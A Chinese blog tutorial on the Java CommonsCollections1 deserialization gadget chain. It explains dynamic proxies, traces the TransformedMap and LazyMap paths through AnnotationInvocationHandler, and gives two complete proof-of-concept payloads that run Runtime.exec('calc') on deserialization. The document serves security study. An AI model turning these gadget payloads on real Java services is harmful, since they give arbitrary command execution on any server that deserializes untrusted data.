[Java反序列化]—CommonsCollections1

前言

本篇进行CommonsCollections1 TransformedMap链和LazyMap链的学习。

动态代理

在分析LazyMap链时会用到动态代理,所以先了解一下什么是动态代理,而了解动态代理前,先看下什么是代理和静态代理

代理

代理是一种常用的设计模式,其目的就是为其他对象提供一个代理以控制对某个对象的访问。代理类负责为委托类预处理消息,过滤消息并转发消息,以及进行消息被委托类执行后的后续处理。

代理可以理解为我们朋友圈中的代购,在买家与卖家间进行协调。

静态代理

要求被代理类和代理类同时实现相应的一套接口,通过代理类调用重写接口的方法,实际上调用的是原始对象的同样的方法。

实例

电影是电影公司委托给影院进行播放的,但是影院可以在播放电影时,产生一些自己的经济收益,比如卖爆米花、饮料等。

首先定义一个接口(Movie)

package Sentiment.unserialize.Poxy;

public interface Movie  {
    public void show();
}

其次,定义一个真正的实现这个 Movie接口的类(Real)

package Sentiment.unserialize.Poxy;
//委托类
class Real implements Movie{
    public void show(){
        System.out.println("您正在观看电影");
    }
}

代理类StaticPoxy,在同样调用show()方法后会进行处理(加上广告)

package Sentiment.unserialize.Poxy;
//代理类
public class StaticPoxy implements Movie{
    private Movie movie;
    public StaticPoxy(Movie movie) {
        this.movie=movie;
    }

    @Override
    public void show() {
        System.out.println("电影马上开始了,爆米花、饮料快来买啊");
        movie.show();
        System.out.println("电影已经结束了,爆米花、饮料买回家吧");
    }
}

测试类Test

package Sentiment.unserialize.Poxy;

public class Test {
    public static void main(String[] args){
        Movie test = new Real();
        System.out.println("-----无代理-----");
        test.show();
        System.out.println("-----静态代理-----");
        StaticPoxy staticPoxy = new StaticPoxy(test);
        staticPoxy.show();
    }
}

结果
在这里插入图片描述
可以看到,代理可以在不修改被代理对象的基础上,进行一些功能的扩展。但代理类和委托类类应共同实现一个接口,或者是共同继承某个类。

静态代理的优点

我们可以在不改变Real委托类源代码的情况下 ,通过StaticPoxy代理类来扩展Real委托类的功能,从而实现代理操作。

静态代理的缺点

代理类和委托类都实现了一个接口,会有很多的代码重复;除此外,当我们需要添加一个其他接口时,代理类和委托类都需要修改代码实现接口,可以说会产生很多的冗余并且需要一定的运维成本。这时就出现了一种更为方便、高效的代理方式——动态代理

动态代理

动态代理是指动态的在内存中构建代理对象(需要我们制定要代理的目标对象实现的接口类型),即利用JDK的API生成指定接口的对象,也称之为JDK代理或者接口代理。

动态代理主要涉及java.lang.reflect包下的Proxy类和InvocationHandler接口。

java.lang.reflect.Proxy

先看下java.lang.reflect.Proxy

Proxy类继承了java.io.Serializable接口,此外其中有一个newProxyInstance方法(还有很多方法,由于暂时不会用到所以没有列举),动态代理就是由该静态方法来实现的

package java.lang.reflect;

import java.lang.reflect.InvocationHandler;

public class Proxy implements java.io.Serializable {

	public static Object newProxyInstance(ClassLoader loader,
                                          	Class<?>[] interfaces,
                                          	InvocationHandler h)
      						
        ..........

}

看下参数作用

InvocationHandler

刚才有提到InvocationHandler接口,并且在newProxyInstance方法中也有用到,下面来看下该接口

InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法。

而该类只有一个方法也就是invoke方法,也正是这个方法决定了怎么样处理代理传递过来的方法调用。

public interface InvocationHandler {

    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}

还是看一下参数作用

  • proxy 代理对象
  • method 要调用的代理对象方法
  • args 要调用方法的参数

实例

假如进入一个商场后肯定会有很多卖酒卖烟的代理,本次就用这种方式进行实例分析

还是先定义个接口SellWine,意为卖酒

package Sentiment.unserialize.Pxoy2;

public interface SellWine {
    public void sell();
}

实现类Wine

package Sentiment.unserialize.Pxoy2;

public class Wine implements SellWine{
    public void sell(){
        System.out.println("卖酒");
    }
}

代理类DynamicPoxy

package Sentiment.unserialize.Pxoy2;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class DynamicPoxy implements InvocationHandler {
    private Object agent;

    public DynamicPoxy(Object poxy) {
        this.agent = poxy;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("销售开始 代理商是:"+this.getClass().getSimpleName());
        method.invoke(agent,args);
        System.out.println("销售结束");
        return null;
    }
}

测试类Test

package Sentiment.unserialize.Pxoy2;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Test {
    public static void main(String[] args) {
        Wine wine = new Wine();
        InvocationHandler invocationHandler = new DynamicPoxy(wine);
        SellWine dynamicPoxy1 = (SellWine) Proxy.newProxyInstance(wine.getClass().getClassLoader(), wine.getClass().getInterfaces(), invocationHandler);
        dynamicPoxy1.sell();

    }
}

运行结果
在这里插入图片描述

此时若我们我们想再增加一个卖酒功能,若用静态代理则需要添加接口,并修改委托类、代理类、测试类等;但动态代理则可跳过修改代理类的过程,通过添加接口来实现需求

再定义一个卖烟接口SellCigarette

package Sentiment.unserialize.Poxy;

public interface SellCigarette {
    public void sell();
}

实现类Cigarette

package Sentiment.unserialize.Poxy;

public class Cigarette implements SellCigarette{
    public void sell(){
        System.out.println("卖烟");
    }
}

此时我们的代理类已经不需要更改了,只需要在实现类Test类中加上我们要实现的功能即可

Cigarette cigarette = new Cigarette();
InvocationHandler invocationHandler2 = new DynamicPoxy(cigarette);

SellCigarette dynamicPoxy2 = (SellCigarette) Proxy.newProxyInstance(cigarette.getClass().getClassLoader(), cigarette.getClass().getInterfaces(), invocationHandler2);

dynamicPoxy2.sell();

最终Test

package Sentiment.unserialize.Pxoy2;

import Sentiment.unserialize.Poxy.Cigarette;
import Sentiment.unserialize.Poxy.SellCigarette;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Test {
    public static void main(String[] args) {
        Wine wine = new Wine();
        Cigarette cigarette = new Cigarette();
        InvocationHandler invocationHandler1 = new DynamicPoxy(wine);
        InvocationHandler invocationHandler2 = new DynamicPoxy(cigarette);
        SellWine dynamicPoxy1 = (SellWine) Proxy.newProxyInstance(wine.getClass().getClassLoader(), wine.getClass().getInterfaces(), invocationHandler1);
        SellCigarette dynamicPoxy2 = (SellCigarette) Proxy.newProxyInstance(cigarette.getClass().getClassLoader(), cigarette.getClass().getInterfaces(), invocationHandler2);
        dynamicPoxy1.sell();
        System.out.println("-------------------");
        dynamicPoxy2.sell();

    }
}

运行结果
在这里插入图片描述

CommonsCollections1

IDEA调试

JDK安装

高版本的 jdk 会修复一些漏洞,所在进行CC1链分析前,需要对IDEA进行调试即安装未修复漏洞前的JDK版本链接,下载完成后可以放在虚拟机中进行安装,之后再将安装好的JDK文件放到物理机中
在这里插入图片描述

对于CC1JDK版本应该为8u71之前,这里用8u65即可

替换源码

在Java中有一部分文件的源码是无法看到的,只能查看该文件的class文件,这里就可以用开源java代码进行替换链接,下载zip文件

sun文件夹复制到src.zip解压后的src目录下即可
在这里插入图片描述

File->Project Structure将配置好的src文件导入
在这里插入图片描述

新建Maven项目

File->New Project
在这里插入图片描述

构建好后把依赖写入pom.xml中,点击右上角的Maven图标配置依赖即可

<dependencies>

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>

</dependencies>

若构建好后仍为class文件,并且查看文件时出现以下提示,则代表 maven 项目没有加载成功,可能与 maven 版本有关,需要手动加载
在这里插入图片描述

点击Maven图标,使用 Execute Maven Goal
在这里插入图片描述
输入如下命令安装即可

mvn dependency:resolve -Dclassifier=sources

TransformedMap链

IDEA调试好后就开始分析CC1了,CC1一共有两条链——TransformedMapLazyMap,先看下TransformedMap

利用类分析

TransformedMap链中主要就是通过几个Transform实现类来完成的,所以先截取部分代码了解下这几个类

Transformer

首先就是接口Transformer,只定义了一个transform方法

public interface Transformer {

    public Object transform(Object input);
}
TransformedMap

直接看类中的decorate()方法,第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {
        
            public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

这里keyTransformer、valueTransformer是处理新元素的key、value的回调。即⼀个实现了Transformer接⼝的类。

实例理解

test1()处打个断点,debug一下就可以比较直观的了解其作用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo01 {
    public static void main(String[] args) {
        test1();
    }
    public static void printMap(Map map){
        for (Object entry: map.entrySet()){
            System.out.println(((Map.Entry)entry).getKey());
            System.out.println(((Map.Entry)entry).getValue());
        }
    }
    public static void test1(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
        outerMap.put("key","value");
        printMap(outerMap);
    }
}

class KeyTransformer implements Transformer {

    @Override
    public Object transform(Object o) {
        System.out.println("KeyTransformer1");
        return "key1";
    }
}
class ValueTransformer implements Transformer{

    @Override
    public Object transform(Object o) {
        System.out.println("ValueTransformer");
        return "value";
    }

}

ConstantTransformer

比较好理解,利用getInstance传值后,会通过transform将对象返回

public class ConstantTransformer implements Transformer, Serializable {

    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }
    
        public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
        public Object transform(Object input) {
        return iConstant;
    }
}
实例理解

同样在test2()打断点debug可以比较直观的了解

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo02 {
    public static void main(String[] args) {
        test2();
    }
    public static void test2(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("Sentiment"));
        outerMap.put("key","value");
        printMap(outerMap);
    }
    public static void printMap(Map map){
        for (Object entry: map.entrySet()){
            System.out.println(((Map.Entry)entry).getKey());
            System.out.println(((Map.Entry)entry).getValue());
        }
    }
}

InvokerTransformer

简单的理解为用于反射,与 ConstantTransformer一样也有getInstance方法,有三个参数,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表。,分别传给InvokerTransformer进行实例化(这里getInstance方法没有列举)

public class InvokerTransformer implements Transformer, Serializable {

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    
        public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}
实例理解

test3()debug调试

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo03 {
    public static void main(String[] args) {
        test3();
    }
    public static void test3(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,
                InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));

        outerMap.put("key",Runtime.getRuntime());
    }
}
ChainedTransformer

类似于一种递归调用,传入object后,将本次得到的object作为下一次的传入值

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
        outerMap.put("Sentiment","Sentiment");
    }
}

test4()处断点debug调试

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) throws Exception {
        test4();
    }
    public static void test4(){
        //这里是定义数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
        outerMap.put("Sentiment","Sentiment");
    }
}

TransformedMap链分析

用回溯法分析,先看transform方法,这里try{}中的内容进行了反射调用

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
        }

InvokerTransforme中参数iMethodName、iParamTypes、iArgs都可控,上边也提到过,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

再知道InvokerTransforme中参数可控后,就可以构造一个transform利用方式了,这里用反射和InvokerTransformer进行了对比,该方式主要是通过InvokerTransformer进行三个参数传递,在调用transform方法,执行命令

public class cc1 {
        public static void main(String[] args) throws Exception {
            //反射
            Runtime runtime = Runtime.getRuntime();
            Class c = Runtime.class;
            Method execMethod = c.getMethod("exec", String.class);
            execMethod.invoke(runtime,"calc");
            //InvokerTransformer
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
        }
}

接下来看下谁调用了InvokerTransformer类中的transform方法,在该方法上Alt+F7查看,发现checkSetValue 方法中调用了valueTransformer的transform
在这里插入图片描述

往上查看valueTransformer参数,在TransformedMap中进行了调用,而decorate调用了TransformedMap方法,其中的三个参数前置中也有说过:第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}  

此时就可以通过decorate方法进行调用了

public class test {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        TransformedMap.decorate(map, null, invokerTransformer);
    }
}

继续跟进查看谁调用了checkSetValue,在AbstractInputCheckedMapDecoratorsetValue方法中找到

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

继续跟进查看何处调用setValue,在AnnotationInvocationHandler中找到,并且该方法重写了readObject,至此整条链结束,下面就是POC编写了

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();


    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}
四个问题
Runtime未实现序列化

此时在序列化后发现无法序列化,原因在于Runtime中未实现Serializable接口,这里就可以ChainedTransformer获取Runtime的Class类,因为Class类中实现了Serializable接口,先通过反射和InvokerTransformer用法引出ChainedTransformer

//反射
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Object r = getRuntimeMethod.invoke(null, null);             //静态无参方法所以都是null
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
//InvokerTransformer
Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod1);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);
//ChainedTransformer
Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
new ChainedTransformer(transformers).transform(Runtime.class);
AnnotationInvocationHandler无法实例化

在该类中需要通过构造器修改memberValue的值,从而执行memberValue.setValue,但该类没有public,所以默认是default,无法进行实例化

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }

这里同样使用反射方式获取,这里的outerMap是构造好的Map对象

    //Reflection
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
    cons.setAccessible(true);
    Object o = cons.newInstance(Retention.class,outerMap);
memberType 判断
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();


        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

通过上边源码可以看出memberType只有不为null时才能执行

if (memberType != null) {  // i.e. member still exists

这里看下p神给出的两个条件

sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法
被 TransformedMap.decorate 修饰的 Map 中放入一个 key 是 value 的元素

简单分析一下

在这里会获取我们传入注解的成员变量

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

看下比较常用的Override注解,可以发现其中是没有成员变量的

@Target(ElementType.METHOD)
@Retention(RetentionPolicy.SOURCE)
public @interface Override {
}

后来在@Target、@Retention中都发现了成员变量且都是value

@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {

    ElementType[] value();
}

知道成员变量是value后再看,这里会获取我们传入map参数的key值,之后再在传入的memberType(注解)中获取该值,而注解中只有一个变量也就是value,所以只有当我们传入的map的key值为value时,便可通过get(name)成功获取,从而绕过null判断,所以这里通过put对key传参value即可——innerMap.put("value", "Sentiment");

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
setValue实参不可控

除此外可以看到这里的setValue的值暂时不可控

memberValue.setValue(
           new AnnotationTypeMismatchExceptionProxy(
           value.getClass() + "[" + value + "]").setMember(
           annotationType.members().get(name)));

看下setValue方法

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

继续跟进checkSetValue方法,会调用valueTransformer的transform方法而参数value就是前边memberValue.setValue括号内容不可控,而valueTransformer可控

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

这时候就联想到了前边说到的ConstantTransformer类,在实例化时调用构造器方法,传入的参数,会经过transform返回,所以如果通过该方法无论transform中的input是何值,都不会改变他return的内容

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

所以这里在问题一的ChainedTransformer调用的transformers数组中加上实例化ConstantTransformer内容即可

Transformer[] transformers = new Transformer[]{
			//----------加入的内容------------
             new ConstantTransformer(Runtime.class),
			//--------------------------------
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
new ChainedTransformer(transformers).transform(Runtime.class);

至此所有问题都解决了

最终payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "Sentiment");
        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

        //Reflection
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, outerMap);

        serialize(o);
        unserialize("1.txt");

    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

LazyMap链

在了解TransformedMap链后,LazyMap就比较容易理解了,这里也利用了之前说到的动态代理

TransformedMap中查找谁能调用transform方法时,其实除了checkSetValue可以外,LazyMap中的get()方法也可以调用
在这里插入图片描述

先看下LazyMap类,其中有个get()方法,大意key不存在时,会自动创建对象并存放到map中

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {
        
         public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

可以看个例子理解下:key不存在时将Sentiment存放到map中

public class Test1 {
    public static void main(String[] args) {
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("Sentiment"));
        Object value = outerMap.get("key");
        System.out.println(value);
    }
}

LazyMap链分析

而在get()中,是通过factory来调用transform()——factory.transform(key);
所以就需要调用Lazymap的decorate()

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

decorate()会调用LazyMap的构造方法,进而对factory赋值

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

所以要将TransformMap的链进行修改

//TransformMap
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
//LazyMap
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

之后就是动态代理部分了,之所以会用到动态代理,就是因为LazyMap中,AnnotationInvocationHandlerreadObject里面并没有用到get(),但是在invoke()方法中却用到了:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

所以现在的问题就是如何触发这个invoke方法,此时看到了AnnotationInvocationHandler类实现了InvocationHandler类,直接就会联想到前边说过的代理

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

所以可以通过AnnotationInvocationHandler对构造的Map进行代理,这样在反序列化的过程中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandlerinvoke方法中,从而调用get方法

 InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);

   Map proxyMap = (Map) Proxy.newProxyInstance(
             Map.class.getClassLoader(),
             new Class[]{Map.class},
             handler
    );

在知道如何调用get()后,其他利用点基本一致了

最终POC

package CommonsCollections1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc11 {
    public static void main(String[] args) throws Exception{
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();

            Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outerMap);

            Map proxyMap = (Map) Proxy.newProxyInstance(
                    Map.class.getClassLoader(),
                    new Class[]{Map.class},
                    handler
            );
            Object o = constructor.newInstance(Target.class, proxyMap);

        serialize(o);
        unserialize("1.txt");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

总结

CommonsCollection链对于初学来说可能比较难理解,但只要耐心了解每个类和方法,不断调式也是可以接受的,至此CommonsCollection1就结束了,离着Java反序列化入门又进了一步

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值